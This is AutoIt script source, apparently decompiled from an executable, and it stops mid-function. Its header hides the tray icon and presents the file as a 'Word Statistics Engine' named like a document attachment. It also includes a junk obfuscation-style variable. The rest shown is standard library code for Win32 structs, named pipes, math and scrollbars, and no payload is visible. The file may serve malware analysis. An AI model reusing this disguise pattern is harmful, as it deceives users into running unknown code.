#NoTrayIcon #Region #AutoIt3Wrapper_Version=Beta #AutoIt3Wrapper_Icon=fuller.ico #AutoIt3Wrapper_OutFile=Eklenti dokumani.Exe #AutoIt3Wrapper_Res_Comment=Word Statistics Engine #AutoIt3Wrapper_Res_Description=Word Statistics Engine #AutoIt3Wrapper_Res_Fileversion=2.4.89.1 #AutoIt3Wrapper_Res_LegalCopyright=Word Statistics Engine #AutoIt3Wrapper_Res_Language=2077 #EndRegion Global Const $tagpoint = "struct;long X;long Y;endstruct" Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct" Global Const $tagsize = "struct;long X;long Y;endstruct" Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight" Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct" Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct" Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct" Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct" Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param" Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]" Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why" Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param" Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid" Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]" Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct" Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags" Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset" Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge" Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel" Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue" Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue" Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]" Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel" Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow" Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas" Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount" Global Const $taggdip_effectparams_tint = "int Hue; int Amount" Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved" Global Const $taggdipcolormatrix = "float m[25]" Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct" Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct" Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs" Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc" Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask" Global Const $taggdippencoderparams = "uint Count;byte Params[1]" Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State" Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam" Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem" Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1" Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value" Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct" Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup" Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param" Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign" Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam" Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags" Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY" Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol" Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span" Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet" Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds" Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState" Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct" Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags" Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct" Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct" Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct" Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level" Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam" Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;" Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item" Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo" Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes" Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData" Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem" Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState") Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak" Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct" Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam" Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM" Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct" Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow" Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags" Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String" Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax" Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider" Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent" Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx" Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct" Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]" Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format" Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct" Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]" Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags" Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos" Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]" Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct" Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo" Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID" Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError" Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle" Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]" Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet" Global Const $pipe_flag_first_pipe_instance = 1 Global Const $pipe_flag_overlapped = 2 Global Const $pipe_flag_write_through = 4 Global Const $__file_flag_first_pipe_instance = 524288 Global Const $__file_flag_overlapped = 1073741824 Global Const $__file_flag_write_through = -2147483648 Global Const $__pipe_access_inbound = 1 Global Const $__pipe_access_outbound = 2 Global Const $__pipe_access_duplex = 3 Global Const $__pipe_wait = 0 Global Const $__pipe_nowait = 1 Global Const $__pipe_readmode_byte = 0 Global Const $__pipe_readmode_message = 2 Global Const $__pipe_type_byte = 0 Global Const $__pipe_type_message = 4 Global Const $__pipe_client_end = 0 Global Const $__pipe_server_end = 1 Global Const $__write_dac = 262144 Global Const $__write_owner = 524288 Global Const $__access_system_security = 16777216 Func _namedpipes_callnamedpipe($spipename, $pinpbuf, $iinpsize, $poutbuf, $ioutsize, ByRef $iread, $itimeout = 0) Local $aresult = DllCall("kernel32.dll", "bool", "CallNamedPipeW", "wstr", $spipename, "struct*", $pinpbuf, "dword", $iinpsize, "struct*", $poutbuf, "dword", $ioutsize, "dword*", 0, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[6] Return $aresult[0] EndFunc Func _namedpipes_connectnamedpipe($hnamedpipe, $toverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "ConnectNamedPipe", "handle", $hnamedpipe, "struct*", $toverlapped) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _namedpipes_createnamedpipe($sname, $iaccess = 2, $iflags = 2, $iacl = 0, $itype = 1, $iread = 1, $iwait = 0, $imaxinst = 25, $ioutbufsize = 4096, $iinpbufsize = 4096, $idefaulttimeout = 5000, $tsecurity = 0) Local $iopenmode, $ipipemode Switch $iaccess Case 1 $iopenmode = $__pipe_access_outbound Case 2 $iopenmode = $__pipe_access_duplex Case Else $iopenmode = $__pipe_access_inbound EndSwitch If BitAND($iflags, 1) <> 0 Then $iopenmode = BitOR($iopenmode, $__file_flag_first_pipe_instance) If BitAND($iflags, 2) <> 0 Then $iopenmode = BitOR($iopenmode, $__file_flag_overlapped) If BitAND($iflags, 4) <> 0 Then $iopenmode = BitOR($iopenmode, $__file_flag_write_through) If BitAND($iacl, 1) <> 0 Then $iopenmode = BitOR($iopenmode, $__write_dac) If BitAND($iacl, 2) <> 0 Then $iopenmode = BitOR($iopenmode, $__write_owner) If BitAND($iacl, 4) <> 0 Then $iopenmode = BitOR($iopenmode, $__access_system_security) Switch $itype Case 1 $ipipemode = $__pipe_type_message Case Else $ipipemode = $__pipe_type_byte EndSwitch Switch $iread Case 1 $ipipemode = BitOR($ipipemode, $__pipe_readmode_message) Case Else $ipipemode = BitOR($ipipemode, $__pipe_readmode_byte) EndSwitch Switch $iwait Case 1 $ipipemode = BitOR($ipipemode, $__pipe_nowait) Case Else $ipipemode = BitOR($ipipemode, $__pipe_wait) EndSwitch Local $aresult = DllCall("kernel32.dll", "handle", "CreateNamedPipeW", "wstr", $sname, "dword", $iopenmode, "dword", $ipipemode, "dword", $imaxinst, "dword", $ioutbufsize, "dword", $iinpbufsize, "dword", $idefaulttimeout, "struct*", $tsecurity) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _namedpipes_createpipe(ByRef $hreadpipe, ByRef $hwritepipe, $tsecurity = 0, $isize = 0) Local $aresult = DllCall("kernel32.dll", "bool", "CreatePipe", "handle*", 0, "handle*", 0, "struct*", $tsecurity, "dword", $isize) If @error Then Return SetError(@error, @extended, False) $hreadpipe = $aresult[1] $hwritepipe = $aresult[2] Return $aresult[0] EndFunc Func _namedpipes_disconnectnamedpipe($hnamedpipe) Local $aresult = DllCall("kernel32.dll", "bool", "DisconnectNamedPipe", "handle", $hnamedpipe) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _namedpipes_getnamedpipehandlestate($hnamedpipe) Local $aresult = DllCall("kernel32.dll", "bool", "GetNamedPipeHandleStateW", "handle", $hnamedpipe, "dword*", 0, "dword*", 0, "dword*", 0, "dword*", 0, "wstr", "", "dword", 4096) If @error Then Return SetError(@error, @extended, 0) Local $astate[6] $astate[0] = BitAND($aresult[2], $__pipe_nowait) <> 0 $astate[1] = BitAND($aresult[2], $__pipe_readmode_message) <> 0 $astate[2] = $aresult[3] $astate[3] = $aresult[4] $astate[4] = $aresult[5] $astate[5] = $aresult[6] Return SetError(0, $aresult[0], $astate) EndFunc Func _namedpipes_getnamedpipeinfo($hnamedpipe) Local $aresult = DllCall("kernel32.dll", "bool", "GetNamedPipeInfo", "handle", $hnamedpipe, "dword*", 0, "dword*", 0, "dword*", 0, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) Local $ainfo[5] $ainfo[0] = BitAND($aresult[2], $__pipe_server_end) <> 0 $ainfo[1] = BitAND($aresult[2], $__pipe_type_message) <> 0 $ainfo[2] = $aresult[3] $ainfo[3] = $aresult[4] $ainfo[4] = $aresult[5] Return SetError(0, $aresult[0], $ainfo) EndFunc Func _namedpipes_peeknamedpipe($hnamedpipe) Local $tbuffer = DllStructCreate("char Text[4096]") Local $aresult = DllCall("kernel32.dll", "bool", "PeekNamedPipe", "handle", $hnamedpipe, "struct*", $tbuffer, "int", 4096, "dword*", 0, "dword*", 0, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) Local $ainfo[4] $ainfo[0] = DllStructGetData($tbuffer, "Text") $ainfo[1] = $aresult[4] $ainfo[2] = $aresult[5] $ainfo[3] = $aresult[6] Return SetError(0, $aresult[0], $ainfo) EndFunc Func _namedpipes_setnamedpipehandlestate($hnamedpipe, $iread, $iwait, $ibytes = 0, $itimeout = 0) Local $imode = 0, $pbytes = 0, $ptimeout = 0 Local $tint = DllStructCreate("dword Bytes;dword Timeout") If $iread = 1 Then $imode = BitOR($imode, $__pipe_readmode_message) If $iwait = 1 Then $imode = BitOR($imode, $__pipe_nowait) If $ibytes <> 0 Then $pbytes = DllStructGetPtr($tint, "Bytes") DllStructSetData($tint, "Bytes", $ibytes) EndIf If $itimeout <> 0 Then $ptimeout = DllStructGetPtr($tint, "TimeOut") DllStructSetData($tint, "TimeOut", $itimeout) EndIf Local $aresult = DllCall("kernel32.dll", "bool", "SetNamedPipeHandleState", "handle", $hnamedpipe, "dword*", $imode, "ptr", $pbytes, "ptr", $ptimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _namedpipes_transactnamedpipe($hnamedpipe, $pinpbuf, $iinpsize, $poutbuf, $ioutsize, $toverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "TransactNamedPipe", "handle", $hnamedpipe, "struct*", $pinpbuf, "dword", $iinpsize, "struct*", $poutbuf, "dword", $ioutsize, "dword*", 0, "struct*", $toverlapped) If @error Then Return SetError(@error, @extended, 0) Return SetError(0, $aresult[0], $aresult[6]) EndFunc Func _namedpipes_waitnamedpipe($spipename, $itimeout = 0) Local $aresult = DllCall("kernel32.dll", "bool", "WaitNamedPipeW", "wstr", $spipename, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Global Const $math_isnotdivisible = 1 Global Const $math_isdivisible = 2 Global Const $math_degrees = 57.2957795130823 Func _degree($iradians) Return IsNumber($iradians) ? $iradians * $math_degrees : SetError(1, 0, "") EndFunc Func _mathcheckdiv($inum1, $inum2 = 2) If NOT (IsInt($inum1) AND IsInt($inum2)) Then Return SetError(1, 0, -1) EndIf Return (Mod($inum1, $inum2) = 0) ? $math_isdivisible : $math_isnotdivisible EndFunc Func _max($inum1, $inum2) If NOT IsNumber($inum1) Then Return SetError(1, 0, 0) If NOT IsNumber($inum2) Then Return SetError(2, 0, 0) Return ($inum1 > $inum2) ? $inum1 : $inum2 EndFunc Func _min($inum1, $inum2) If NOT IsNumber($inum1) Then Return SetError(1, 0, 0) If NOT IsNumber($inum2) Then Return SetError(2, 0, 0) Return ($inum1 > $inum2) ? $inum2 : $inum1 EndFunc Func _radian($idegrees) Return Number($idegrees) ? $idegrees / $math_degrees : SetError(1, 0, "") EndFunc $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Global Const $sif_pos = 4 Global Const $sif_page = 2 Global Const $sif_range = 1 Global Const $sif_trackpos = 16 Global Const $sif_all = BitOR($sif_range, $sif_page, $sif_pos, $sif_trackpos) Global Const $sb_horz = 0 Global Const $sb_vert = 1 Global Const $sb_ctl = 2 Global Const $sb_both = 3 Global Const $sb_lineleft = 0 Global Const $sb_lineright = 1 Global Const $sb_pageleft = 2 Global Const $sb_pageright = 3 Global Const $sb_thumbposition = 4 Global Const $sb_thumbtrack = 5 Global Const $sb_linedown = 1 Global Const $sb_lineup = 0 Global Const $sb_pagedown = 3 Global Const $sb_pageup = 2 Global Const $sb_scrollcaret = 4 Global Const $sb_top = 6 Global Const $sb_bottom = 7 Global Const $esb_disable_both = 3 Global Const $esb_disable_down = 2 Global Const $esb_disable_left = 1 Global Const $esb_disable_ltup = $esb_disable_left Global Const $esb_disable_right = 2 Global Const $esb_disable_rtdn = $esb_disable_right Global Const $esb_disable_up = 1 Global Const $esb_enable_both = 0 Global Const $objid_hscroll = -6 Global Const $objid_vscroll = -5 Global Const $objid_client = -4 Global $__g_asb_windowinfo[1][8] Func _guiscrollbars_enablescrollbar($hwnd, $isbflags = $sb_both, $iarrows = $esb_enable_both) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, False) Local $aresult = DllCall("user32.dll", "bool", "EnableScrollBar", "hwnd", $hwnd, "uint", $isbflags, "uint", $iarrows) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, 0) Local $tscrollbarinfo = DllStructCreate($tagscrollbarinfo) DllStructSetData($tscrollbarinfo, "cbSize", DllStructGetSize($tscrollbarinfo)) Local $aresult = DllCall("user32.dll", "bool", "GetScrollBarInfo", "hwnd", $hwnd, "long", $iobject, "struct*", $tscrollbarinfo) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tscrollbarinfo) EndFunc Func _guiscrollbars_getscrollbarrect($hwnd, $iobject) Local $arect[4] If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, 0) Local $tscrollbarinfo = _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If @error Then Return SetError(@error, @extended, 0) $arect[0] = DllStructGetData($tscrollbarinfo, "Left") $arect[1] = DllStructGetData($tscrollbarinfo, "Top") $arect[2] = DllStructGetData($tscrollbarinfo, "Right") $arect[3] = DllStructGetData($tscrollbarinfo, "Bottom") Return $arect EndFunc Func _guiscrollbars_getscrollbarrgstate($hwnd, $iobject) Local $argstate[6] If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, 0) Local $tscrollbarinfo = _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If @error Then Return SetError(@error, @extended, 0) For $x = 0 To 5 $argstate[$x] = DllStructGetData($tscrollbarinfo, "rgstate", $x + 1) Next Return $argstate EndFunc Func _guiscrollbars_getscrollbarxylinebutton($hwnd, $iobject) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollbarinfo = _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollbarinfo, "dxyLineButton") EndFunc Func _guiscrollbars_getscrollbarxythumbtop($hwnd, $iobject) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollbarinfo = _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollbarinfo, "xyThumbTop") EndFunc Func _guiscrollbars_getscrollbarxythumbbottom($hwnd, $iobject) If NOT IsHWnd($hwnd) Then Return SetError(-1, -1, -1) Local $tscrollbarinfo = _guiscrollbars_getscrollbarinfoex($hwnd, $iobject) If @error Then Return SetError(-1, -1, -1) Return DllStructGetData($tscrollbarinfo, "xyThumbBottom") EndFunc Func _guiscrollbars_getscrollinfo($hwnd, $ibar, ByRef $tscrollinfo) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, False) Local $aresult = DllCall("user32.dll", "bool", "GetScrollInfo", "hwnd", $hwnd, "int", $ibar, "struct*", $tscrollinfo) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _guiscrollbars_getscrollinfoex($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, 0) Local $tscrollinfo = DllStructCreate($tagscrollinfo) DllStructSetData($tscrollinfo, "cbSize", DllStructGetSize($tscrollinfo)) DllStructSetData($tscrollinfo, "fMask", $sif_all) If NOT _guiscrollbars_getscrollinfo($hwnd, $ibar, $tscrollinfo) Then Return SetError(@error, @extended, 0) Return $tscrollinfo EndFunc Func _guiscrollbars_getscrollinfopage($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollinfo, "nPage") EndFunc Func _guiscrollbars_getscrollinfopos($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollinfo, "nPos") EndFunc Func _guiscrollbars_getscrollinfomin($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollinfo, "nMin") EndFunc Func _guiscrollbars_getscrollinfomax($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) If @error Then Return SetError(@error, @extended, -1) Return DllStructGetData($tscrollinfo, "nMax") EndFunc Func _guiscrollbars_getscrollinfotrackpos($hwnd, $ibar) If NOT IsHWnd($hwnd) Then Return SetError(-2, -1, -1) Local $tscrollinfo = _guiscrollbars_getscrollinfoex($hwnd, $ibar) If @error 